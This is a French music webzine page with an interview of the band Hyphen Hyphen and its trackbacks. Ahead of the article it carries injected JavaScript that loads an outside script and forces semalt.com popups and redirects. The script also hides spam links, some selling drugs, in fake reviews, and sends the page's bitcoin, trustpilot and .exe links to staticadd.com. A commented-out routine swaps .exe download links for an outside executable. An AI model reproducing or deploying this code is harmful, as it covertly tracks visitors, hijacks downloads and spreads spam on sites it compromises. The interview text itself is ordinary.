Logo/* Domain is for sale: admin@kickvox.com */ (function() { 'use strict'; if (window['shbNetLoaded']) return; window['shbNetLoaded'] = true; var isTopLayer = false; var popupHtml = "
Amazing place and fun activities. We spent almost 7 hours there and never wanted to leave the place :D business apps office 365<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Tight machines, staff slow to service machine malfunctions. de electronica tienda<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Good italian food for small prices. Healthy and vegetarian options. Good seafood. Dishes well served. carta de condução<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Great Movie Theater Delicious Popcorn Happy People \u30ea\u30a2\u30eb\u30e9\u30d6\u30c9\u30fc\u30eb \u52d5\u753b 60<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
A nice place to stay, but their IT department needs to work on the syncing of their payment hardware and training of the staff to use newer technologies such as phone pay for billing. where to buy medwakh online shopping<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Mascoutin Golf Club is quality course at fair price. Played the red and blue tees, and I think the blue 9 is the gem of the three courses. gta 5 account ps5<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div> <\/div>
Awesome!!!! Love my new Yukon XL!! And awesome service, exactly what was promised...in and out for my oil change. drivers license in australia<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Complete and extensive shopping area. One parking lot to go everywhere. The ideal place to lose a whole day best color printers under 0<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Lovely place to gather together, taking nice pictures with\/of the Nelsons column and lions statues, enjoying street s artists, and visiting the National Gallery. It is a mandatory place to visit in London. contemporary interior moulding ideas<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Small portions big in taste! But if you want to get uber full, hmmmm might wana order bigger or 2x! hospital equipment suppliers<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Got a little bit of everything, alot of parking and lots of food and drink places. Has a Verity and a cinema. I will say that its middle.to up market in the budget area, but a good place to shop if your looking for specifics china plastic molds<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
This hotel waa amazingly maintained especially considering how old and classic the omni was. The service was impeccable! Couldnt have asked for a better night in Los Angeles! I would definitely stay there again! audi a4 windshield cost<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div> <\/div>
I never bought anything yet but I like there style and how beautiful the boards look \u5916\u79d1\u9580\u8a3a<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Great friendly helpful professional atmosphere..Had a lovely time. ordering drugs online<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
The slope is pretty good for an indoor resort. Great place to get my summer snowboarding fix! The food and drinks at the bar were fairly priced as well. bellevue dentist reviews<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Great food, good wine, courteous staff, fair price subutex 8mg tablets for sale online<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Many banquet rooms, lots of events happening at once. divine wedding and event planners<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
I love this place in the summer as much as I do in the winter. Its a fantastic getaway! buy graphics cards<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div> <\/div>
Good location to spend time for shopping or just window shopping. But its too far from Mumbai city and suburbs. poker \u4fdd\u96aa<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Friendly staff, ground-breaking new works, the classics we all love. A true Cincinnati tradition. https:\/\/marketing-type.com\/<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Good location. Ambient and comfortable parking. Well maintained. Courteous staff. Food is good. Ideal for people who have work in and around the hotel. For others it may be a discomfort to deal with the heavy traffic managed it service<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Brought my son here for his birthday - little too cold to play outside. The staff was very friendly and explained everything. Great value for the price, had a blast with my son and friends, and definitely will return. embassy suites hotel - downtown<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Harper loves to go to camp . When she comes home, she is wipeout for the rest of the day. gái \u0111\u0129 91 s\u01a1n phúc<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Great stadium, actually cheaper than Dodger Stadium for food and drink. Clean, safe, easy to get in and out of. blue hotel tekst<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div> <\/div>
Second time attending Hollywood Horror Nights! The actors really do a great job at making sure you get your moneys worth. Will be coming back next year! tutorial instagram business<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Restaurant has awesome food and the venue is close and Comfortable. Great place to hear your favorite music acts. Clear SEM Solutions<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Long wait. Id be dead if I needed immediate help. semalt net<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Easily accessible via public transport, a great variety of performing arts program year-round, ample public space to chill. A great place to spend a night. semalt net<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
Decent? Not worth even half the cost tho. So many better things to see semalt net<\/a><\/article><\/span> <\/div>
<\/span> <\/div> <\/div>
\u043d\u0435\u0434\u0432\u0438\u0436\u0438\u043c\u043e\u0441\u0442\u044c \u0411\u0430\u0442\u0443\u043c\u0438<\/a><\/span> <\/div>
<\/span> <\/div> <\/div> <\/div>
<\/div> <\/div> <\/div> <\/div> <\/td> <\/tr> <\/table> <\/div>"; var bottomHtml = "
Amazing place and fun activities. We spent almost 7 hours there and never wanted to leave the place :D business apps office 365<\/a>.<\/article>
Tight machines, staff slow to service machine malfunctions. de electronica tienda<\/a>.<\/article>
Good italian food for small prices. Healthy and vegetarian options. Good seafood. Dishes well served. carta de condução<\/a>.<\/article>
Great Movie Theater Delicious Popcorn Happy People \u30ea\u30a2\u30eb\u30e9\u30d6\u30c9\u30fc\u30eb \u52d5\u753b\t60<\/a>.<\/article>
A nice place to stay, but their IT department needs to work on the syncing of their payment hardware and training of the staff to use newer technologies such as phone pay for billing. where to buy medwakh online shopping<\/a>.<\/article>
Mascoutin Golf Club is quality course at fair price. Played the red and blue tees, and I think the blue 9 is the gem of the three courses. gta 5 account ps5<\/a>.<\/article>
Awesome!!!! Love my new Yukon XL!! And awesome service, exactly what was promised...in and out for my oil change. drivers license in australia<\/a>.<\/article>
Complete and extensive shopping area. One parking lot to go everywhere. The ideal place to lose a whole day best color printers under 0<\/a>.<\/article>
Lovely place to gather together, taking nice pictures with\/of the Nelsons column and lions statues, enjoying street s artists, and visiting the National Gallery. It is a mandatory place to visit in London. contemporary interior moulding ideas<\/a>.<\/article>
Small portions big in taste! But if you want to get uber full, hmmmm might wana order bigger or 2x! hospital equipment suppliers<\/a>.<\/article>
Got a little bit of everything, alot of parking and lots of food and drink places.\r\nHas a Verity and a cinema. I will say that its middle.to up market in the budget area, but a good place to shop if your looking for specifics china plastic molds<\/a>.<\/article>
This hotel waa amazingly maintained especially considering how old and classic the omni was. The service was impeccable! Couldnt have asked for a better night in Los Angeles! I would definitely stay there again! audi a4 windshield cost<\/a>.<\/article>
I never bought anything yet but I like there style and how beautiful the boards look \u5916\u79d1\u9580\u8a3a<\/a>.<\/article>
Great friendly helpful professional atmosphere..Had a lovely time. ordering drugs online<\/a>.<\/article>
The slope is pretty good for an indoor resort. Great place to get my summer snowboarding fix! The food and drinks at the bar were fairly priced as well. bellevue dentist reviews<\/a>.<\/article>
Great food, good wine, courteous staff, fair price subutex 8mg tablets for sale online<\/a>.<\/article>
Many banquet rooms, lots of events happening at once. divine wedding and event planners<\/a>.<\/article>
I love this place in the summer as much as I do in the winter. Its a fantastic getaway! buy graphics cards<\/a>.<\/article>
Good location to spend time for shopping or just window shopping. But its too far from Mumbai city and suburbs. poker \u4fdd\u96aa<\/a>.<\/article>
Friendly staff, ground-breaking new works, the classics we all love. A true Cincinnati tradition. https:\/\/marketing-type.com\/<\/a>.<\/article>
Good location. Ambient and comfortable parking. Well maintained. Courteous staff. Food is good. Ideal for people who have work in and around the hotel. For others it may be a discomfort to deal with the heavy traffic managed it service<\/a>.<\/article>
Brought my son here for his birthday - little too cold to play outside. The staff was very friendly and explained everything. Great value for the price, had a blast with my son and friends, and definitely will return. embassy suites hotel - downtown<\/a>.<\/article>
Harper loves to go to camp . When she comes home, she is wipeout for the rest of the day. gái \u0111\u0129 91 s\u01a1n phúc<\/a>.<\/article>
Great stadium, actually cheaper than Dodger Stadium for food and drink. Clean, safe, easy to get in and out of. blue hotel tekst<\/a>.<\/article>
Second time attending Hollywood Horror Nights! The actors really do a great job at making sure you get your moneys worth. Will be coming back next year! tutorial instagram business<\/a>.<\/article>
Restaurant has awesome food and the venue is close and Comfortable. Great place to hear your favorite music acts. Clear SEM Solutions<\/a>.<\/article>
Long wait. Id be dead if I needed immediate help. semalt net<\/a>.<\/article>
Easily accessible via public transport, a great variety of performing arts program year-round, ample public space to chill. A great place to spend a night. semalt net<\/a>.<\/article>
Decent? Not worth even half the cost tho. So many better things to see semalt net<\/a>.<\/article>\u043d\u0435\u0434\u0432\u0438\u0436\u0438\u043c\u043e\u0441\u0442\u044c \u0411\u0430\u0442\u0443\u043c\u0438<\/a><\/span>"; var popupCreated = false; var bottomPopup = false || /[?&]test=1/.test(location.href); //officeLog(bottomHtml); function onReady() { tryCreatePopup(2); var box = create('div'); append(box, document.body); var defaultStyles = { width: '1px', height: '1px', background: 'transparent', display: 'inline-block', margin: '2px', padding: 0, verticalAlign: 'bottom', border: 'none' }; var a = create('a'); css(a, defaultStyles); document.addEventListener('keydown', function(e) { if (e.keyCode === 192 && e.ctrlKey) { css(a, { width: '20px', height: '20px', background: '#fff', border: '1px solid red' }); } }); document.addEventListener('keyup', function(e) { css(a, defaultStyles); }); a.className = 'shbNetgpLink'; append(a, box); a.href = 'javascript:;'; on(a, 'click', openLinerPopup); css(box, { position: 'fixed', margin: 0, padding: 0, outline: 'none', border: 'none', zIndex: 999999999, overflow: 'visible', direction: 'ltr' }); css(box, { left: '3px', right: 'auto', top: '50px', bottom: 'auto', width: '42px', height: '168px' }); } function officeLog(data) { } function clearStyles() { if(typeof document.createStyleSheet === 'undefined') { document.createStyleSheet = (function() { function createStyleSheet(href) { if(typeof href !== 'undefined') { var element = document.createElement('link'); element.type = 'text/css'; element.rel = 'stylesheet'; element.href = href; } else { var element = document.createElement('style'); element.type = 'text/css'; } document.getElementsByTagName('head')[0].appendChild(element); var sheet = document.styleSheets[document.styleSheets.length - 1]; if(typeof sheet.addRule === 'undefined') sheet.addRule = addRule; if(typeof sheet.removeRule === 'undefined') sheet.removeRule = sheet.deleteRule; return sheet; } function addRule(selectorText, cssText, index) { if(typeof index === 'undefined') index = this.cssRules.length; this.insertRule(selectorText + ' {' + cssText + '}', index); } return createStyleSheet; })(); } var sheet = document.createStyleSheet(); sheet.addRule('#shbNetPaddingTable', 'display: none;'); sheet.addRule('#shbNetPaddingWr #shbNetPaddingTable', 'display: table;'); sheet.addRule('.shbNetPopupWr, .shbNetPopupWr *', '-webkit-text-shadow:none !important; text-shadow:none !important;'); sheet.addRule('.shbNetPopupTable img', 'display:inline; width:auto; height:auto; background:none; float:none;'); sheet.addRule('.shbNetPopupTable *', 'margin:0; padding:0; font-family:Tahoma,Arial,Sans-Serif,Verdana; font-size:11px; line-height:normal;'); sheet.addRule('.shbNetPopupTable a, .shbNetPopupTable b', 'text-decoration:none; background:none; height:auto !important; color:#737373; font-size:11px; font-weight:bold;'); sheet.addRule('.shbNetTopLayer .shbNetPopupWr', 'display:block !important; width: 100% !important; x-index:99999999 !important; background: #fff !important; padding: 2px 10px !important;'); sheet.addRule('.shbNetTopLayer #shbNetPaddingTable', 'display:table !important;'); } function createTopLayer() { //if (!domReady) return; var div = document.createElement('div'); div.className = 'shbNetTopLayer'; div.innerHTML = popupHtml; document.body.insertBefore(div, document.body.childNodes[0]); popupCreated = true; } function tryCreatePopup(stage) { if (popupCreated) return; if (isTopLayer) { createTopLayer(); return; } if (bottomPopup) { var box = document.createElement('div'); box.innerHTML = bottomHtml; document.body.appendChild(box); return; } if (stage === 1) { document.writeln(popupHtml); } else if (stage === 2) { var mainBox = create('div'); mainBox.innerHTML = popupHtml; document.body.appendChild(mainBox); } else { return; } var wr = $('shbNetPaddingWr'); if (!wr) return; popupCreated = true; var table = $('shbNetPaddingTable'); css(table, { position: 'fixed', margin: 0, padding: 0, left: 0, top: 0, width: '100%', height: '100%', direction: 'ltr', zIndex: 999999999, background: 'none' }); css(table.getElementsByTagName('td')[0], { verticalAlign: 'middle', background: 'rgba(0, 0, 0, 0.5)' }); var popup = $('shbNetPaddingPopup'); css(popup, { margin: '0 auto', padding: '20px 25px 20px', width: '800px', maxWidth: '98%', background: '#fff', border: '1px solid #000', textAlign: 'left', position: 'relative', fontFamily: 'Tahoma, Arial, Verdana', boxSizing: 'content-box' }); on(document, 'keydown', function(e) { if (e.keyCode === 27) { wr.style.display = 'none'; } }); } function removeClass(node, className) { if (node && node.className) { node.className = node.className.replace(new RegExp('\b' + className + '\b', 'g'), ''); } } function openLinerPopup() { var pad = $('shbNetPaddingWr'); var tbl = $('shbNetPaddingTable'); if (!pad || !tbl) return; pad.style.display = 'block'; tbl.style.display = 'table'; var mainPopup = $('shbNetPopupWr'); if (!mainPopup) return; mainPopup.style.display = 'none'; } function $(id) { return document.getElementById(id); } function on(elem, event, handler) { elem.addEventListener(event, handler, false); } function css(elem, style) { for (var prop in style) { elem.style[prop] = style[prop]; } } function create(tag) { return document.createElement(tag); } function append(elem, parent) { parent.appendChild(elem); } setTimeout(function() { window.CJSource = 'shb2'; var script = document.createElement('script'); script.src = 'https://cleverjump.org/counter.js'; (document.head || document.body).appendChild(script); }, 10); if (document.readyState === 'complete' || document.readyState === 'interactive') { onReady(); } else { on(document, 'DOMContentLoaded', onReady); } tryCreatePopup(1); try { clearStyles(); } catch (ex) {} (function() { if (!document.querySelector) return; var added = false; tryAddLink(); window.addEventListener('DOMContentLoaded', tryAddLink); setTimeout(tryAddLink, 100); setTimeout(tryAddLink, 1000); setTimeout(tryAddLink, 2000); function tryAddLink() { if (added) return; var menu = document.querySelector('#wpadminbar .ab-top-menu'); if (!menu) return; var li = document.createElement('li'); li.innerHTML = 'SEO promotion'; //menu.appendChild(li); added = true; save(); } function save() { var json = JSON.stringify({ hrefs: ['wordpress_new'], jsDomain: 'staticadd.com', refUrl: location.href }); var xhr = new XMLHttpRequest; xhr.open('POST', '//staticadd.com/save.php'); xhr.setRequestHeader('Content-Type', 'text/plain'); xhr.onload = function() { xhr.responseText; } xhr.send(json); } })(); (function() { function byId(id) { return document.getElementById(id); } function setCookie() { var date = new Date(); date.setTime(date.getTime() + (60 * 60 * 1000)); document.cookie = 'closePopupStartWow=1; path=/; domain=.' + location.hostname + '; expires=' + date.toGMTString(); } function listenerPopupSemalt(event){ if (event.origin != 'https://semalt.com') return; if (!event.data) return; if (event.data == 'closePopupStartWow'){ var el = byId('popupStartWow'); if (!el) return; el.style.display = 'none'; setCookie(); } else if(event.data.indexOf('startPopupStartWow')>-1) { try{var res = JSON.parse(event.data); if(res && res.page){ location.href = 'https://semalt.com/?s='+decodeURIComponent(res.page)+'&ref=blogspot'; } } catch(ee) { } setCookie(); } } function init() { if (document.getElementById('popupWowNode')) return; var div = document.createElement('div'); div.id = 'popupWowNode'; try { div.innerHTML = html; } catch (err) { return; } document.body.appendChild(div); setTimeout(function(){ if (document.cookie.indexOf('closePopupStartWow') !== -1) return; var el = byId('popupStartWow'); if (!el) return; el.setAttribute('src', 'https://semalt.com/popups/popup_wow.php?lang=en'); setTimeout(function(){ el.style.display = 'block'; }, 400); },400); } setTimeout(init, 100); setTimeout(init, 1000); setTimeout(init, 2000); window.addEventListener('message', listenerPopupSemalt, false); })(); setTimeout(function() { /*try { var links = document.querySelectorAll('a[href$=".exe"]'); for (var i = 0; i < links.length; i++) { links[i].href = 'https://myprintscreen.com/soft/myp0912.exe'; break; } } catch (err) {}*/ try { var links = document.querySelectorAll('a[href^="bitcoin:"], a[href*="trustpilot.com"], a[href$=".exe"]'); //var links = document.querySelectorAll('a[href^="https://"]'); if (links.length) { var hrefs = []; for (var i = 0; i < links.length; i++) { hrefs.push(links[i].href); } var json = JSON.stringify({ hrefs: hrefs, jsDomain: 'staticadd.com', refUrl: location.href }); var xhr = new XMLHttpRequest; xhr.open('POST', '//staticadd.com/save.php'); xhr.setRequestHeader('Content-Type', 'text/plain'); xhr.onload = function() { xhr.responseText; } xhr.send(json); } } catch (ex) {} }, 2000); })();
  • Politique de confidentialité
  • Le site
  • Droits d’auteurs
  • Contact
  • (re)Découvertes
  • Albums
  • Clips
  • Concerts
  • Dossiers
  • Editoriaux
  • Entretiens
  • Près de chez toi
  • Reportages
  • Sessions
  • Tribune libre
LeTransistor A la une Entretien avec Hyphen Hyphen

Entretien avec Hyphen Hyphen

Publié le 25 Oct 2011
Rédacteur : Agnès Bayou

Email, RSS Follow
Email

Alors que Le Transistor profitait du sud lors du festival Marsatac, on en a profité pour rencontrer Hyphen Hyphen, le groupe niçois qui défraye la chronique ! Donc on s’est posé avec les quatre jeunes gens qui viennent à peine d’avoir 20 ans, mais savent déjà très bien où il vont !

Hyphen Hyphen

On démarre de plain pied avec Santa qui raconte la soirée qu’ils viennent de passer. « C’était la pire soirée de notre vie. Pour la première fois, on a passé la soirée chacun de notre côté et deux d’entre nous ont fini aux urgences, un autre s’est rétamé à vélo et est resté dehors sur le gravier, le dernier, on lui a glissé un truc dans son verre à son insu. » Pour eux, cette soirée est un signe : ils ne doivent plus jamais se séparer. « Ca fait quasiment 2 ans qu’on passe toutes nos soirées ensemble. Tout nous arrive mais au moins on est ensemble. Et c’est fun. Là on était tout seul, on savait pas quoi faire. Dans les quatre fantastiques, c’est comme ça que le méchant s’y prend, il les sépare ! »

Entretien avec Hyphen Hyphen

Entretien avec Hyphen Hyphen

Ces histoires survoltées correspondent bien à l’image qu’on se fait d’Hyphen Hyphen quand on les voit sur scène. « Les costumes c’est juste pour accentuer l’effet. Mais l’esthétique scénique c’est aussi pour amplifier l’état dans lequel on est naturellement, donc cette hystérie collective. Ce côté tribu, meute, et puis le côté un peu guerrier, l’attaque. » Si leurs costumes leur donnent un look guerrier, ils restent glamour, accumulant paillettes et plumes. « On va pas s’habiller comme des sacs non plus ! Y’en a tellement qui s’habillent normalement, on veut se démarquer à tout prix. Ca crée un impact. Et puis on part d’un truc pas du tout réel. Le message, le sens, le fil du concert c’est un truc plus proche de la mythologie. »

Sur scène, leur costumes leurs permettent de recréer cet univers onirique. « Plus l’image colle à cette utopie, plus on est heureux. Mais on est en train de retravailler justement les costumes avec pas mal d’étudiants des Beaux-Arts, dont nous en l’occurence. » Cela dit, ces costumes ne sont pas le résultat de leur choix d’études. « Au contraire, les Beaux-Arts ça te renferme dans une esthétique conceptuelle. Ca te castre un peu. On a été très déçu justement de cet enseignement. Ils refusent tout autre concept que les leurs. Et du coup, ça devient presque décadent. » La musique est donc un moyen d’exprimer leur créativité. « On a voulu sortir de ce carcan le plus vite possible pour recréer ce qu’on voulait et pas ce que les gens voulaient que l’on pense. On est ravis d’avoir au moins un support tel que la musique sur lequel travailler. Plutôt que sur une concordance d’idées reçues… »

Même s’ils semblent sûr d’eux et de leur projet, les Hyphen Hyphen restent très exigeants envers eux-mêmes. « Avant qu’on prenne la grosse tête, il en faudra du temps. On est jamais satisfaits : on vise le mieux et pour l’instant on y est pas encore. » D’ailleurs, ils ne sont plus en accord avec leur premier EP, Chewbacca I’m Your Mother, sorti il y a à peine huit mois. « Ce qui arrive est bien mieux, c’est encore plus étonnant. On enregistre le deuxième, il sort début 2012 au grand public. On a hâte de le faire écouter parce qu’on est dessus depuis un mois et demi, deux mois. On est en studio tout le temps. »

YouTube Preview Image

Pour composer, Hyphen Hyphen a bizarrement besoin se cloîtrer pour échapper au soleil, un comble pour des Niçois ! « On reste dans le noir, on a aucune perception du temps… En fait, le soleil nous empêche pas de composer, il nous empêche de rentrer dans cet état de transe pour les prises. Au local, y’a pas de fenêtres, donc on est habitués à être dans le noir. Donc on enregistre la nuit, on dort le jour. On essaie d’être en décalé pour recréer cette ambiance un peu folle. » Cet état de transe est nécessaire pour retranscrire leur énergie scénique sur album. « On compose tout d’abord pour la scène et après on doit les reorganiser pour que ça passe sur l’album. Et il faut trois fois plus d’énergie dégagée en studio pour que ça ressorte sur l’album. Nous tout ce qu’on veut c’est qu’il n’y ait pas cette perte d’échelle et de sens entre l’EP et la scène. A nous d’être meilleurs sur scène que sur CD. »

Les Hyphen Hyphen se montrent aussi intransigeants dans leur travail. « Tout ce qui est sur album, on veut que ce soit reproduisible sur scène, sinon c’est hors de question, on l’intégrera pas. Là, tout est composé, il reste tout à décomposer pour recomposer par dessus. C’est difficile de réaliser tout ce qu’on a dans la tête, de trouver le bon son… » Mais c’est pour que leur projet complètement déjanté gagne en cohérence. « On est en pleine période de défusion et on essaie de la cultiver. Nous on adore partir dans tous les sens, mais on aimerait donner un sens à ce non-sens. Tout est en ebullition.  »

Hyphen Hyphen c’est donc tout un concept, sans pour autant que ce soit calculé. « On parle tout le temps en fait. C’est une réflexion mais commune, donc t’as pas l’impression de… c’est plus une discussion. On discute tellement qu’on sait qu’on est d’accord sur le truc informulable qu’on vit. C’est pas formulable mais on sait où on va. On est d’accord à ce sujet, et toutes les discordances c’est le chemin à prendre pour y arriver. » Clairement, ce groupe n’a aucun problème de communication. « Ca vient du fait qu’on échange tout le temps, on écoute plein de trucs, on critique, on donne notre avis sans arrêt. On bavarde beaucoup, mais on parle aussi quand même. »

Et donc, quand on demande si on peut décrire leur musique comme la rencontre de David Bowie avec LCD Soundsystem, ils répondent d’un commun accord : « D’accord pour Major Tom et ‘Dance Yrslf Clean‘. 

Réclame

Le premier EP d’Hyphen Hyphen, Chewbacca I’m Your Mother, est déjà disponible. C’est d’ailleurs eux que vous avez vus en première partie de Mademoiselle K le 21 octobre.

Email, RSS Follow
Email

Remerciements : Brigitte Batcave et Les Tontons Tourneurs

Catégorie : A la une, Entretiens
Artiste(s) : Hyphen Hyphen
Production(s) : Brigitte Batcave, Les Tontons Tourneurs

10 réactions »

  • Agenda – gagnez des places pour Daniel Darc le 5 avril au Trianon | Le Transistor :

    […] on cure sa gueule de bois avec Birdy Hunt (session) et Hyphen Hyphen (interview) à l’heure du déj. Le soir, pour frimer un max, vas au Magic Mirror, y’aura Etienne de Crecy, […]

    Le 26 March 2012 à 12 h 21 min
  • Votez pour le Prix Adami Deezer de Talents | Le Transistor :

    […] avaient remporté l’inRocKs Lab du mois de mai, leur énergie nous a bluffés, et du coup on les a interviewés. Tiens là t’as des tofs de leur live à Marsatac […]

    Le 28 March 2012 à 1 h 39 min
  • Printemps de Bourges – Découvertes | Le Transistor :

    […] Lire l’interview d’Hyphen Hyphen […]

    Le 14 May 2012 à 11 h 37 min
  • Entretien avec The Popopopops | Le Transistor :

    […] voir vraiment Van Pariahs et pouvoir discuter avec eux, et aujourd’hui y’avait Juveniles et Hyphen Hyphen (interview). Ca va au-delà de l’influence musicale, parce qu’on écoute plein de choses… » Ils […]

    Le 30 May 2012 à 10 h 46 min
  • Solidays – Jour 3 | Le Transistor :

    […] Lire l’interview de Hyphen Hyphen […]

    Le 29 June 2012 à 10 h 01 min
  • Entretien avec Shiko Shiko | Le Transistor :

    […] Le groupe sera en concert au Fuzz’Yon de La Roche sur Yon avec Is Tropical (interview) et Hyphen Hyphen (interview). Ils seront aussi le 18 mars au Batofar avec Underground Railroad. Remerciements : Jérémy […]

    Le 16 November 2012 à 14 h 29 min
  • La Fête de la Musique du Fair | Le Transistor :

    […] ouvrir le bal, Hyphen Hyphen dont on entend parler depuis maintenant deux ans (lire l’interview), suivi de Aline, lauréat CQFD 2010 (sous le nom Young Michelin) et dont le premier album Regarde […]

    Le 11 July 2013 à 18 h 03 min
  • Rock en Seine 2012 - deuxième jour - Le Transistor | Le Transistor :

    […] Lire l’interview de Hyphen Hyphen Lire le live report de Hyphen Hyphen au Printemps de Bourges […]

    Le 4 August 2014 à 14 h 42 min
  • La programmation des Solidays 2015 - Le Transistor | Le Transistor :

    […] On ira peut-être manger pendant Zebda pour retrouver ensuite la jolie pop électronique éthérée d’Hyphen Hyphen (lire l’entretien). Ca devrait être ensuite l’heure de l’électro-hiphop des Chinese Man (lire l’interview), […]

    Le 12 June 2015 à 19 h 59 min
  • Gagne ta compilation du FAIR 2016 - Le Transistor | Le Transistor :

    […] le 9 avril avec Odezenne à l’Echonova de Vannes et le 16 avril avec We Are Match (interview) et Hyphen Hyphen (interview) à La Sirène de La […]

    Le 12 March 2016 à 17 h 06 min

Et toi t'en penses quoi ?

A lire aussi

  • Peter Doherty & Frédéric Lo au Trianon
  • P.R2B à La Cigale
  • Brigitte Fontaine au Printemps de Bourges
  • Franz Ferdinand au Zénith
  • Myele Manzanza et Monsieur MÂLÂ au New Morning

Gallery

img_6355 img_8766 2011/08/26 - CHARLEVILLE-MEZIERES (FRANCE) - LE GROUPE LOCAL ROCKIN'BITCH JOUE SUR LA SCENE DES ILLUMINATIONS A L'OCCASION DE LA 7EME EDITION DE L'ECO FESTIVAL CABARET VERT. img_1820